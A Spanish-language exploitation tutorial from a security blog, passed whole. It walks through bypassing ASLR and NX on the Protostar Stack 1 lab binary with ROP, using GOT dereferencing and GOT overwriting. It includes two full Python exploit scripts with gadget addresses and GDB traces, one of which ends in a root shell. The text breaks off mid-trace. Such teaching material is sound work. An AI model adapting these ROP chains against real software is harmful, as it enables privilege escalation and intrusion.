Después de la <a href="http://danigargu.blogspot.com.es/2013/01/having-fun-with-rop-nxaslr-bypass-linux_18.html" target="_blank">entrada anterior</a>, en la que vimos cómo evadir ASLR y NX en la explotación de un Stack Overflow sobre un binario enlazado estáticamente, vamos a tratar de explotar otro. Esta vez lo haremos sobre un binario enlazado dinámicamente, sin instrucciones de ayuda en el código como teníamos en el anterior, ayudándonos de ROP para calcular la dirección de cualquier función de la <i>libc</i> a partir de la la GOT de una función usada en el programa. Las técnicas a tratar se denominan: <b>GOT dereferencing</b> y <b>GOT overwriting</b>, y se encuentran descritas en el paper "<i><a href="http://security.dsi.unimi.it/~roberto/pubs/acsac09.pdf" target="_blank">Surgically returning to randomized lib(c)</a></i>".
</p>
<p align="justify">
Antes de meternos en vereda, vamos a ver algunas cosillas que son necesarias para entender el resto.
</p>
<p align="justify">
<b>GOT (Global Offset Table) y PLT (Procedure Linkage Table)</b>
</p>
<p align="justify">
Cuando un ejecutable es cargado en memoria, el <a href="http://es.wikipedia.org/wiki/Enlazador" target="_blank">linker</a> transfiere a memoria todas bibliotecas solicitadas y realiza la reubicación. El ejecutable dispone de dos secciones que se utilizan con el unico propósito de vincular el ejecutable con las bibliotecas compartidas, que son: la <i>Global Offset Table (GOT)</i> y la <i>Procedure Linkage Table (PLT)</i>. La primera es una matriz que contiene la dirección de todas las funciones de bibliotecas usadas en el programa. Esta última se corresponde con una matriz de salto hacia las direcciones de las funciones almacenadas en la GOT. </ br>
</p>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiIkPhcVW8PEHP4a3d8VC0sEfBqRAhxKJ2D9U3sKYcpo1ZQpFoQLOgDc_4OyWHz-2bx3nddu6pQx0X-dF1B6qRYYhwaOSW-rmlpLnx-z2XJQDfUeNGbfGxSC2HJqMYVMAX0RWwXUQxQNTQ/s1600/GOT_PLT_after.png" imageanchor="1" style="margin-left:1em; margin-right:1em"><img border="0" height="231" width="400" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiIkPhcVW8PEHP4a3d8VC0sEfBqRAhxKJ2D9U3sKYcpo1ZQpFoQLOgDc_4OyWHz-2bx3nddu6pQx0X-dF1B6qRYYhwaOSW-rmlpLnx-z2XJQDfUeNGbfGxSC2HJqMYVMAX0RWwXUQxQNTQ/s400/GOT_PLT_after.png" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<b>Figura 1. Llamada a la función de una biblioteca compartida.</b>
</div>
<p align="justify">
Como se puede apreciar en <i>Figura 1</i>, el programa para invocar a la función <b><i>strcpy</i></b> de la <i>libc</i>, realiza la llamada en la instrucción <b>0x8048465</b>, pero en lugar de hacerla de forma normal, pasa el control a la <i>PLT</i> (<b>0x8048330</b>). La <i>PLT</i> para llegar hasta el código de la función dentro de la <i>libc</i>, realiza un salto indirecto (<b>jmp *0x8049724</b>) pasando por la <i>GOT</i> (<b>0x8049724</b>), que es donde se encuentra la dirección absoluta de la función <i>strcpy</i> (<b>0xf7ed2b70</b>).
</p>
<p align="justify">
Esto no es del todo cierto, ya que la primera vez que es llamada una función, la GOT contiene de nuevo un puntero hacia la PLT, donde se llama al enlazador para encontrar la ubicación real de la función en cuestión (ver <i>Figura 2</i>). La segunda vez que la función es llamada, su entrada en la GOT ya contiene la ubicación real de la función.
</p>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi3sH3FG5Dxld_7ZhHuhvf-_IFftsJRM3BdXgM6WgBuItujTcLjdM9icnnrNluVe2kh4iz6P6uEwMZ1_JsgXniGJJYp3PP2oz025OT6sNDI_mtVsRwsLciWQgsIRImQmEbCS-_EN7CgI78/s1600/got_plt3.png" imageanchor="1" style="margin-left:1em; margin-right:1em"><img border="0" height="229" width="400" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi3sH3FG5Dxld_7ZhHuhvf-_IFftsJRM3BdXgM6WgBuItujTcLjdM9icnnrNluVe2kh4iz6P6uEwMZ1_JsgXniGJJYp3PP2oz025OT6sNDI_mtVsRwsLciWQgsIRImQmEbCS-_EN7CgI78/s400/got_plt3.png" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<b>Figura 2. Primera llamada a la función de una biblioteca compartida.</b>
</div>
<p align="justify">
<b>Restricciones de diseño de la GOT y la PLT</b>
</p>
<p align="justify">
Ya que la GOT y la PLT se utilizan directamente desde cualquier parte del programa, necesitan disponer de una dirección estática conocida en la memoria. Además, la GOT necesita tener permisos de escritura, ya que cuando se resuelve la dirección de una función, es escrita en su correspondiente entrada de la GOT.
</p>
<p align="justify">
<b>¿Y para qué se puede aprovechar todo esto?</b>
</p>
<p align="justify">
Como las direcciones de la sección GOT son estáticas (no afectadas por ASLR), y se dispone de permisos de escritura, se puede aprovechar para sobreescribir la dirección de una función utilizada en el programa (p.e, <i>strcpy</i>), por otra con peores intenciones (p.e, <i>system</i>), de forma que cuando se invoque a la entrada PLT de la función sobreescrita, el flujo del programa vaya hacia la otra.
</p>
<p align="justify">
<b>Resolver direcciones de la libc</b>
</p>
<p align="justify">
Perfecto, si se consigue sobreescribir el contenido de la GOT de una función por la dirección de otra función de la libc, es posible realizar cualquier llamada (incluido a las funciones no exportadas). Pero vaya, no es tan fácil como pinta, ya que la libc es afectada por ASLR y sus direcciones varían en cada ejecución. Pero no del todo ;-)
</p>
<p align="justify">
Aunque sus direcciones cambien en cada ejecución, el enlazador siempre rellena la GOT con las direcciones actualizadas para que sean coherentes con la dirección base de la biblioteca, por lo que el offset entre dos funciones de la biblioteca es siempre constante. Es decir, que a partir de una dirección absoluta dada, obtenida de la GOT de cualquier función utilizada en el programa, es posible calcular la dirección de cualquier otra a partir de los offsets.
</p>
<pre class="brush: plain;">
offset = system() - strcpy()
system() = strcpy() + offset
</pre>
<p align="justify">
Para poder llevar a cabo esto, existen dos técnicas: <i>GOT Dereferencing</i> y <i>GOT Overwriting</i>, que sirven básicamente para re-calcular funciones de la libc a partir de la GOT de una función usada en el programa, empleando ROP.
</p>
<ul>
<li align="justify">
<b>GOT dereferencing</b>: Consiste en combinar ROP gadgets para leer la dirección absoluta de cualquier función usada en el programa (p.e, <i>strcpy</i>) a partir su entrada en la GOT, utilizar dicha dirección para calcular la de otra función de la biblioteca (p.e, <i>system</i>), y realizar un salto hacia ella.
</li>
<li align="justify">
<b>GOT overwriting</b>: Es similar a la anterior, pero aquí en vez de leer la dirección de una función y calcular la de otra, se sobreescribe la entrada GOT de una de ellas (p.e, <i>strcpy</i>) con la dirección tiene más el offset de la función a usar (p.e, <i>system</i>). Por último, se invoca a la PLT de la función sobreescrita haciendo un <i>ret2plt</i>.
</li>
</ul>
<p align="justify">
Dicho todo esto... ¡AL LÍO!
</p>
<p align="justify">
<b>Programa vulnerable</b>
</p>
<p align="justify">
Para hacer pruebas con estas técnicas quería algo muy básico por el tema de no abusar con los gadgets del binario, así que he escogido el nivel <a href="http://exploit-exercises.com/protostar/stack1" target="_blank">Stack 1</a> de la máquina virtual <b><i>Protostar</i></b> de <a href="http://exploit-exercises.com/" target="_blank">Exploit-Exercises</a>, que se trata de un simple Stack Overflow de libro en el que se demuestra cómo se establecen las variables en memoria, pero que para nuestro fin nos viene al pelo.
</p>
<p align="justify">
<i>
<a href="http://sites.google.com/site/danigargu/binarios/stack1">DESCARGAR</a><br />
MD5: df2ce10a6ca6b19337c4f44b52789c7b<br />
</i>
</p>
<p align="justify">
<b>Protecciones</b>
</p>
<pre class="brush: plain;">
$ bash /tools/exploiting/checksec.sh --file stack1
RELRO STACK CANARY NX PIE FILE
No RELRO No canary found NX enabled No PIE stack1
# FULL ASLR
$ /sbin/sysctl kernel.randomize_va_space
kernel.randomize_va_space = 2
$ ldd stack1 | grep libc
libc.so.6 => /lib/i386-linux-gnu/i686/cmov/libc.so.6 (0xf7589000)
$ ldd stack1 | grep libc
libc.so.6 => /lib/i386-linux-gnu/i686/cmov/libc.so.6 (0xf7618000)
</pre>
<p align="justify">
<ul>
<li><b>RELRO:</b> GOT modificable.</li>
<li><b>NX:</b> Stack no ejecutable.</li>
<li><b>ASLR:</b> Activado.</li>
</ul>
</p>
<p align="justify">
Perfecto, ¡a darle caña!
</p>
<pre class="brush: plain;">
# Generamos una cadena de caracteres aleatorios
$ /pentest/exploits/msf4/tools/pattern_create.rb 100
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A
# Pasamos la cadena de argumento
(gdb) r Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A
Starting program: /home/dani/stack1/stack1 Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A
Try again, you got 0x63413163
Program received signal SIGSEGV, Segmentation fault.
0x37634136 in ?? ()
(gdb)
# Comprobamos dónde se sobreescribe la dirección de retorno
$ /pentest/exploits/msf4/tools/pattern_offset.rb 0x37634136
[*] Exact match at offset 80
</pre>
<p align="justify">
Ahora que tenemos el control del flujo del programa, toca buscar ROP gadgets.
</p>
<p align="justify">
<b>GOT dereferencing</b>
</p>
<p align="justify">
Para llevar a cabo esta técnica se necesitan gadgets de varios tipos: de carga, de adición y transferencia de control indirecto.
</p>
<pre class="brush: plain;">
ROPeMe> generate stack1 5
Generating gadgets for stack1 with backward depth=5
It may take few minutes depends on the depth and file size...
Processing code block 1/1
Generated 96 gadgets
Dumping asm gadgets to file: stack1.ggt ...
OK
ROPeMe>
</pre>
<p align="justify">
<i>ROPeMe</i> sólo nos ha encontrado 96 gadgets debido a que el binario es muy reducido (23,2 kB) y está enlazado de forma dinámica. De todas formas, vamos a intentar apañarnos.
</p>
<pre class="brush: plain;">
ROPeMe> search pop ? pop %
Searching for ROP gadget: pop ? pop % with constraints: []
...
0x8048432L: pop ebx ; pop ebp ;;
...
0x8048545L: pop ebx ; pop esi ; pop edi ; pop ebp ;;
...
ROPeMe> search xchg %
Searching for ROP gadget: xchg % with constraints: []
0x804842bL: xchg edi eax ; add al 0x8 ; add [ebx+0x5d5b04c4] eax ;;
...
ROPeMe> search add eax %
Searching for ROP gadget: add eax % with constraints: []
...
0x804856eL: add eax [ebx-0xb8a0008] ; add esp 0x4 ; pop ebx ; pop ebp ;;
ROPeMe> search call eax %
Searching for ROP gadget: call eax % with constraints: []
0x804845fL: call eax ; leave ;;
</pre>
<p align="justify"><b>Gadgets a utilizar</b></p>
<ol>
<li>0x8048545L: <b>pop ebx ; pop esi ; pop edi ; pop ebp ;;</b></li>
<li>0x804842bL: <b>xchg edi eax ; add al 0x8 ; add [ebx+0x5d5b04c4] eax ;;</b></li>
<li>0x8048432L: <b>pop ebx ; pop ebp ;;</b></li>
<li>0x804856eL: <b>add eax [ebx-0xb8a0008] ; add esp 0x4 ; pop ebx ; pop ebp ;;</b></li>
<li>0x804845fL: <b>call eax ; leave ;;</b></li>
</ol>
<p align="justify">
El gadget (1) lo usaremos para dar valor a los registros <i>EBX</i> y <i>EDI</i> que serán usados por el (2). Con el (2) haremos un intercambio de los valores de <i>EAX</i> y <i>EDI</i>, por lo que <i>EAX</i> obtendrá el valor de <i>EDI</i> (que controlamos). Luego, con el (2) sumaremos el valor de <i>EAX</i> al almacenado en <i>[ebx+0x5d5b04c4]</i>. Como también tenemos el control de <i>EBX</i>, utilizaremos este gadget para sumar el valor de <i>EAX</i> en donde queramos, previamente restando <i>0x5d5b04c4</i> a la dirección donde se va a escribir. Con el (3) restableceremos de nuevo el valor de <i>EBX</i>. Con el (4) leeremos un valor de <i>[ebx-0xb8a0008]</i> y se lo sumaremos a <i>EAX</i>. Y por ultimo, con el (5) realizaremos un salto a la dirección que apunta <i>EAX</i>.
</p>
<p align="justify">
¡Menudo jaleo!
</p>
<p align="justify">
La idea es utilizar el gadget (2) para escribir el offset entre <i>system</i> y <i>strcpy</i> en algún sitio con permisos de escritura, de forma que el registro <i>EAX</i> se quede con dicho offset. Luego, con el (4) sumar al offset que tenemos en EAX la dirección de <i>strcpy</i> obtenida de la GOT, teniendo en <i>EAX</i> un puntero a <i>system</i>. Por ultimo, con el (5), llamar a la función calculada.
</p>
<p align="justify">
Para obtener la dirección de las entradas de la GOT del programa, podemos utilizar <i>objdump</i>.
</p>
<pre class="brush: plain;">
$ objdump -R ./stack1
./stack1: file format elf32-i386
DYNAMIC RELOCATION RECORDS
OFFSET TYPE VALUE
080496f8 R_386_GLOB_DAT __gmon_start__
08049708 R_386_JUMP_SLOT __gmon_start__
0804970c R_386_JUMP_SLOT __libc_start_main
08049710 R_386_JUMP_SLOT strcpy
08049714 R_386_JUMP_SLOT printf
08049718 R_386_JUMP_SLOT errx
0804971c R_386_JUMP_SLOT puts
</pre>
<p align="justify">
Con esto ya sabemos que la dirección absoluta de la función strcpy será almacenada en <i>0x08049710</i>. Ahora tenemos que calcular el offset entre <i>system</i> y <i>strcpy</i>, que podemos obtenerlo mismamente desde el fichero de la biblioteca o con GDB.
</p>
<pre class="brush: plain;">
$ objdump -T /lib/i386-linux-gnu/i686/cmov/libc.so.6 | egrep 'strcpy$|system$'
00078b70 g DF .text 00000023 GLIBC_2.0 strcpy
0003bf10 g DF .text 0000007d GLIBC_PRIVATE __libc_system
0003bf10 w DF .text 0000007d GLIBC_2.0 system
</pre>
<p>
<b>0x0003bf10(system) - 0x00078b70(strcpy) = 0xfffc33a0 (offset)</b>
</p>
<pre class="brush: plain;">
(gdb) p system
$1 = {<text variable, no debug info>} 0xf7e95f10 <system>
(gdb) p strcpy
$2 = {<text variable, no debug info>} 0xf7ed2b70 <strcpy>
# OFFSET
(gdb) p /x 0xf7e95f10-0xf7ed2b70
$4 = 0xfffc33a0
# STRCPY + OFFSET = SYSTEM
(gdb) x/2i strcpy+0xfffc33a0
0xf760ff10 <system>: sub esp,0xc
0xf760ff13 <system+3>: mov DWORD PTR [esp+0x4],esi
</pre>
<p align="justify">
Obtenemos el mismo resultado ;-)
</p>
<p align="justify">
Para el acceso del gadget (2) necesitamos tener la dirección de algún lugar estático con permisos de escritura (W), como por ejemplo la sección <i>.data</i>.
</p>
<pre class="brush: plain;">
$ readelf -S stack1 | grep "\.data"
[24] .data PROGBITS 08049720 000720 000008 00 WA 0 0 4
</pre>
<p align="justify">
Teniendo todos estos datos en nuestro poder, podemos comenzar la explotación.
</p>
<ul>
<li><b>strcpy@GOT</b>: 0x08049710</li>
<li><b>Offset system-strcpy</b>: 0xfffc33a0</li>
<li><b>data:</b> 0x08049720</li>
</ul>
<p align="justify">
Con el gadget (1) colocaremos en <i>EBX</i> la dirección de la sección data, y en <i>EDI</i> el offset entre <i>system</i> y <i>strcpy</i>. Como el gadget (2) hará un intercambio entre <i>EDI</i> y <i>EAX</i>, y después sumará 8 a <i>EAX</i>, tendremos que tener en cuenta esa suma, restando 8 al offset. Luego, como se realizará la adición de <i>EAX</i> al valor apuntado en <i>[ebx+0x5d5b04c4]</i>, tendremos que restar a la dirección de <i>data</i> el valor <i>0x5d5b04c4</i>, para que el acceso sea correcto y no provoque una violación de segmento. Dicho esto:
</p>
<pre class="brush: plain;">
# offset
(gdb) p/x 0xfffc33a0-8
$1 = 0xfffc3398
# data
(gdb) p/x 0x08049720-0x5d5b04c4
$2 = 0xaaa9925c
(gdb)
</pre>
<p align="justify">
Con el gadget (3) volveremos a dar valor a <i>EBX</i> para el acceso del gadget (4), que en este caso será la dirección de la GOT de <i>strcpy</i>. Como el (4) realizará la adición en <i>EAX</i> del valor apuntado en <i>[ebx-0xb8a0008]</i>, tendremos que sumar a la dirección de la GOT de strcpy el valor <i>0xb8a0008</i>, quedando:
</p>
<pre class="brush: plain;">
# strcpy@GOT
(gdb) p/x 0x08049710+0xb8a0008
$1 = 0x138e9718
</pre>
<p align="justify">
Así, cuando la instrucción "<b>add eax [ebx-0xb8a0008]</b>" termine de ejecutarse, el registro <i>EAX</i> tendrá la dirección absoluta de la función <i>strcpy+offset</i>, apuntando a la dirección de <i>system</i>. De esta manera habremos calculado la dirección de <i>system</i> de forma dinámica, saltándonos el ASLR ;-D
</p>
<p align="justify">
Después, en el gadget (4) nos encontramos con un pequeño problema, y es que la instrucción "<b>add esp 0x4</b>" reduce la pila 4 bytes, por lo que perdemos el siguiente dato a "popear". Esto lo solucionamos fácilmente añadiendo otros 4 bytes de relleno.
</p>
<p align="justify">
Al llegar al gadget (5) se ejecutará el "<b>call eax</b>", que hará la llamada a la dirección de system. En ese momento, la cima de la pila (ESP) tiene que tener la dirección de una cadena que sirva como parámetro a system. Para ello usaremos la cadena "<b>GNU</b>", que se encuentra en la dirección <b>0x8048154</b> de la sección <b>.note.gnu.build-id</b>.
</p>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi5sg_hwyVIbAA6epfAknXN8VlxPiLrYWHJz2X5-IJ2bBW0R8w2aL47YS0J4Wg0rMa6P6SnJgaNydiDSKZQ5p0awszOKtM9WrnFN7PPu0xSrLyXSs6N0_mH0knKmkDIIznEHfBxo4t7uDY/s1600/got_dereferencing_stack.png" imageanchor="1" style="margin-left:1em; margin-right:1em"><img border="0" height="361" width="400" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi5sg_hwyVIbAA6epfAknXN8VlxPiLrYWHJz2X5-IJ2bBW0R8w2aL47YS0J4Wg0rMa6P6SnJgaNydiDSKZQ5p0awszOKtM9WrnFN7PPu0xSrLyXSs6N0_mH0knKmkDIIznEHfBxo4t7uDY/s400/got_dereferencing_stack.png" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<b>Figura 3. Estado de la pila justo antes de ejecutarse el RET de main().</b>
</div>
<p align="justify">
Teniendo todo esto claro, solo nos queda hacer un exploit y depurar :-)
</p>
<pre class="brush: python;">
#!/usr/bin/python
#
# Exploit GOT Dereferencing (ROP)
# ASLR/NX Bypass
#
# @danigargu
# http://danigargu.blogspot.com.es
#
from struct import pack
junk = "A" * 64 + "dcba" + "A" * 12 # 80 bytes
## ROP gadgets ##
gadget1 = pack('<I', 0x8048545) # (1) pop ebx ; pop esi ; pop edi ; pop ebp ;;
gadget2 = pack('<I', 0x804842b) # (2) xchg edi eax ; add al 0x8 ; add [ebx+0x5d5b04c4] eax ;;
gadget3 = pack('<I', 0x8048432) # (3) pop ebx ; pop ebp ;;
gadget4 = pack('<I', 0x804856e) # (4) add eax [ebx-0xb8a0008] ; add esp 0x4 ; pop ebx ; pop ebp ;;
gadget5 = pack('<I', 0x804845f) # (5) call eax ; leave ;;
padding = "AAAA" # 4 bytes
offset = 0xfffc33a0-8 # offset (system-strcpy) - 8 for the gadget (2)
data = (0x08049720-0x5d5b04c4) & 0xFFFFFFFF # .data - 0x5d5b04c4 for the gadget (2)
strcpy_got = (0x08049710+0xb8a0008) # strcpy@GOT + 0xb8a0008 for the gadget (4)
gnu_string = 0x8048154 # "GNU\x00" from note.gnu.build-id
## PAYLOAD ##
rop = gadget1 # pop ebx ; pop esi ; pop edi ; pop ebp ;;
rop += pack('<I', data) # EBX = .data - 0x5d5b04c4
rop += padding # ESI = padding
rop += pack('<I', offset) # EDI = offset - 8
rop += padding # EBP = padding
rop += gadget2 # EAX = OFFSET system-strcpy
rop += gadget3 # pop ebx ; pop ebp ;;
rop += pack('<I', strcpy_got) # EBX = strcpy@GOT + 0xb8a0008
rop += padding # EBP = padding
rop += gadget4 # EAX = (OFFSET system-strcpy) + strcpy = SYSTEM ;D
rop += padding # padding for "add esp 0x4"
rop += padding # EBX = padding
rop += padding # EBP = padding
rop += gadget5 # call eax ; leave ;;
rop += pack('<I', gnu_string) # "GNU" string
payload = junk + rop
print payload
</pre>
<p>
<b><a href="https://sites.google.com/site/danigargu/exploits/exploit_dereferencing.py" target="_blank">Descargar exploit</a></b>
</p>
<p align="justify">
A depurar!
</p>
<pre class="brush: plain;">
# Breakpoint en el RET de main
(gdb) b *0x080484d6
Breakpoint 1 at 0x80484d6: file stack1/stack1.c, line 23.
# Mostrar siguiente instrucción a ejecutar
(gdb) set disassemble-next-line on
# Ejecutamos
(gdb) r "$(python exploit_dereferencing.py)"
Starting program: /home/dani/stack1/stack1 "$(python exploit_dereferencing.py)"
you have correctly got the variable to the right value
Breakpoint 1, 0x080484d6 in main at stack1/stack1.c:23
0x080484d5 <main+113>: c9 leave
=> 0x080484d6 <main+114>: c3 ret
# Siguiente instrucción a ejecutar
(gdb) x/x $esp
0xffb90b2c: 0x08048545 --> Dirección gadget1
(gdb) stepi
Cannot access memory at address 0x41414145
#### Comienzo gadget (1) ####
(gdb) x/i $eip
=> 0x8048545 <__libc_csu_init+85>: pop ebx
...
(gdb) stepi
0x08048549 in __libc_csu_init ()
=> 0x08048549 <__libc_csu_init+89>: c3 ret
# Registros importantes tras acabar el gadget (1)
(gdb) i r ebx edi
ebx 0xaaa9925c -1431727524 --> data - 0x5d5b04c4
edi 0xfffc3398 -248936 --> offset system-strcpy-8
(gdb)
(gdb) stepi
Cannot access memory at address 0x41414145
#### Comienzo gadget (2) ####
(gdb) x/i $eip
=> 0x804842b <__do_global_dtors_aux+75>: xchg %eax,%edi
(gdb) stepi
0x0804842c in __do_global_dtors_aux ()
=> 0x0804842c <__do_global_dtors_aux+76>: 04 08 add al,0x8
(gdb) stepi
0x0804842e in __do_global_dtors_aux ()
=> 0x0804842e <__do_global_dtors_aux+78>: 01 83 c4 04 5b 5d add DWORD PTR [ebx+0x5d5b04c4],eax
(gdb) i r eax
eax 0xfffc33a0 -248928 --> offset system-strcpy
(gdb)
...
#### Comienzo gadget (3) ####
(gdb) x/i $eip
=> 0x8048432 <__do_global_dtors_aux+82>: pop ebx
(gdb) stepi
0x08048433 in __do_global_dtors_aux ()
=> 0x08048433 <__do_global_dtors_aux+83>: 5d pop ebp
(gdb) i r ebx
ebx 0x138e9718 328111896 --> strcpy@GOT (0x8049710) + 0xb8a0008
(gdb)
#### Comienzo gadget (4) ####
(gdb) x/i $eip
=> 0x804856e <__do_global_ctors_aux+30>: add eax,DWORD PTR [ebx-0xb8a0008]
# VALOR strcpy@GOT
(gdb) x/x 0x08049710
0x8049710 <strcpy@got.plt>: 0xf763db70 -> Dirección strcpy
(gdb) stepi
0x08048574 in __do_global_ctors_aux ()
=> 0x08048574 <__do_global_ctors_aux+36>: 83 c4 04 add esp,0x4
(gdb) i r eax
eax 0xf7600f10 -144699632 --> EAX += 0xf763db70 (strcpy) = SYSTEM
(gdb) x/i 0xf7600f10
0xf7600f10 <system>: sub esp,0xc
...
#### Comienzo gadget (5) ####
(gdb) x/i $eip
=> 0x804845f <frame_dummy+31>: call eax
(gdb) x/x $esp
0xffa95dd4: 0x08048154
(gdb) x/s 0x08048154
0x8048154: "GNU"
# FINAL
(gdb) c
Continuing.
sh: 1: GNU: not found
</pre>
<p align="justify">
Parece que todo está correcto, pero al terminar nos devuelve un "<b>sh: 1: GNU: not found</b>" debido a que no existe ningún binario en nuestro sistema llamado <i>GNU</i>. Para resolver este problema tan solo tenemos que crear un enlace simbólico a <b>/bin/sh</b> con nombre <b>GNU</b> y añadir el directorio actual a la variable de entorno <b>PATH</b>.
</p>
<pre class="brush: plain;">
$ ln -s /bin/sh GNU
$ ls -l GNU
lrwxrwxrwx 1 dani dani 7 ene 30 21:38 GNU -> /bin/sh
$ export PATH=.:$PATH
$ ./stack1 "$(python exploit_dereferencing.py)"
you have correctly got the variable to the right value
# id
uid=1000(dani) gid=1000(dani) euid=0(root) egid=0(root) grupos=0(root),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),1000(dani)
# whoami
root
#
</pre>
<p align="justify">
¡¡FUNCIONA!! Después de todo este rollo hemos conseguido explotarlo ;-D
</p>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiP8s0wyiCc6XMub1k2iEHYhHZ58RRbxXN55Oo3oM26658NCBTkJa6BSyZ9_D-VNBx0TFZ536BJGDepVNIXBJdviCvXKdbOnXUQv3ZC6pfrVNQCKx7yTXEszLG5Ca4OlTPln0lcTKlNHC4/s1600/explotado_dereferecing.png" imageanchor="1" style="margin-left:1em; margin-right:1em"><img border="0" height="117" width="400" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiP8s0wyiCc6XMub1k2iEHYhHZ58RRbxXN55Oo3oM26658NCBTkJa6BSyZ9_D-VNBx0TFZ536BJGDepVNIXBJdviCvXKdbOnXUQv3ZC6pfrVNQCKx7yTXEszLG5Ca4OlTPln0lcTKlNHC4/s400/explotado_dereferecing.png" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<b>Figura 4. Ejecución del exploit.</b>
</div>
<p align="justify">
<b>GOT overwriting</b>
</p>
<p align="justify">
En este caso, como solo tenemos que sobreescribir la dirección de la GOT de una función utilizada en el programa, añadiéndola el offset entre otra función, con estos 2 gadgets usados anteriormente nos es suficiente:
</p>
<ol>
<li>0x8048545L: <b>pop ebx ; pop esi ; pop edi ; pop ebp ;;</b></li>
<li>0x804842bL: <b>xchg edi eax ; add al 0x8 ; add [ebx+0x5d5b04c4] eax ;;</b></li>
</ol>
<p align="justify">
El gadget (1) colocará en <i>EBX</i> la dirección de la GOT de <i>strcpy</i>, y en <i>EDI</i> el offset entre <i>system</i> y <i>strcpy</i>. El (2) sumará el offset al contenido de la GOT de <i>strcpy</i> (dirección absoluta de strcpy), haciendo que apunte a <i>system</i>. Luego tan solo tendremos que llamar a la PLT de <i>strcpy</i> para invocar <i>system</i>, haciendo un <i>ret2plt</i>.
</p>
<p align="justify">
Exploit:
</p>
<pre class="brush: python;">
#!/usr/bin/python
#
# Exploit GOT Overwriting (ROP)
# ASLR/NX Bypass
#
# @danigargu
# http://danigargu.blogspot.com.es
#
from struct import pack
junk = "A" * 64 + "dcba" + "A" * 12 # 80 bytes
## ROP gadgets ##
gadget1 = pack('<I', 0x8048545) # (1) pop ebx ; pop esi ; pop edi ; pop ebp ;;
gadget2 = pack('<I', 0x804842b) # (2) xchg edi eax ; add al 0x8 ; add [ebx+0x5d5b04c4] eax ;;
padding = "AAAA" # 4 bytes
offset = 0xfffc33a0-8 # offset (system-strcpy) - 8 for the gadget (2)
strcpy_got = (0x08049710-0x5d5b04c4) & 0xFFFFFFFF # strcpy@GOT - 0x5d5b04c4 for the gadget (2)
strcpy_plt = 0x08048368 # strcpy@PLT
gnu_string = 0x8048154 # "GNU\x00" from note.gnu.build-id
## PAYLOAD ##
rop = gadget1 # pop ebx ; pop esi ; pop edi ; pop ebp ;;
rop += pack('<I', strcpy_got) # EBX = strcpy@GOT - 0x5d5b04c4
rop += padding # ESI = padding
rop += pack('<I', offset) # EDI = offset - 8
rop += padding # EBP = padding
rop += gadget2 # EAX = OFFSET system-strcpy
# [ebx+0x5d5b04c4] (strcpy@GOT) + EAX = system
rop += pack('<I', strcpy_plt) # strcpy@PLT
rop += padding # return address
rop += pack('<I', gnu_string) # "GNU" string
payload = junk + rop
print payload
</pre>
<p>
<b><a href="https://sites.google.com/site/danigargu/exploits/exploit_overwriting.py" target="_blank">Descargar exploit</a></b>
</p>
<p align="justify">
Depuración:
</p>
<pre class="brush: plain;">
# Breakpoint en el RET de main
(gdb) b *0x080484d6
Breakpoint 1 at 0x80484d6: file stack1/stack1.c, line 23.
# Ejecutamos
(gdb) r "$(python exploit_overwriting.py)"
Starting program: /home/dani/stack1/stack1 "$(python exploit_overwriting.py)"
you have correctly got the variable to the right value
Breakpoint 1, 0x080484d6 in main at stack1/stack1.c:23
0x080484d5 <main+113>: c9 leave
=> 0x080484d6 <main+114>: c3 ret
# Siguiente instrucción a ejecutar
(gdb) x/x $esp
0xff87ad8c: 0x08048545 --> Dirección gadget1
(gdb) stepi
Cannot access memory at address 0x41414145
#### Comienzo gadget (1) ####
(gdb) x/i $eip
=> 0x8048545 <__libc_csu_init+85>: pop ebx
...
(gdb) stepi
0x08048549 in __libc_csu_init ()
=> 0x08048549 <__libc_csu_init+89>: c3 ret
# Registros importantes tras acabar el gadget (1)
(gdb) i r ebx edi
ebx 0xaaa9924c -1431727540 --> strcpy@GOT - 0x5d5b04c4
edi 0xfffc3398 -248936 --> offset system-strcpy-8
(gdb)
(gdb) stepi
Cannot access memory at address 0x41414145
#### Comienzo gadget (2) ####
(gdb) x/i $eip
=> 0x804842b <__do_global_dtors_aux+75>: xchg edi,eax
(gdb) stepi
0x0804842c in __do_global_dtors_aux ()
=> 0x0804842c <__do_global_dtors_aux+76>: 04 08 add al,0x8
(gdb) stepi
0x0804842e in __do_global_dtors_aux ()
=> 0x0804842e <__do_global_dtors_aux+78>: 01 83 c4 04 5b 5d add DWORD PTR [ebx+0x5d5b04c4],eax
(gdb) i r eax
eax 0xfffc33a0 -248928 --> offset system-strcpy
# VALOR strcpy@GOT
(gdb) x/x 0x08049710
0x8049710 <strcpy@got.plt>: 0xf76bcb70 --> Dirección strcpy
(gdb) x/i 0xf76bcb70
0xf76bcb70 <strcpy>: push ebp
(gdb) stepi
0x08048434 in __do_global_dtors_aux ()
=> 0x08048434 <__do_global_dtors_aux+84>: c3 ret
# VALOR strcpy@GOT
(gdb) x/x 0x08049710
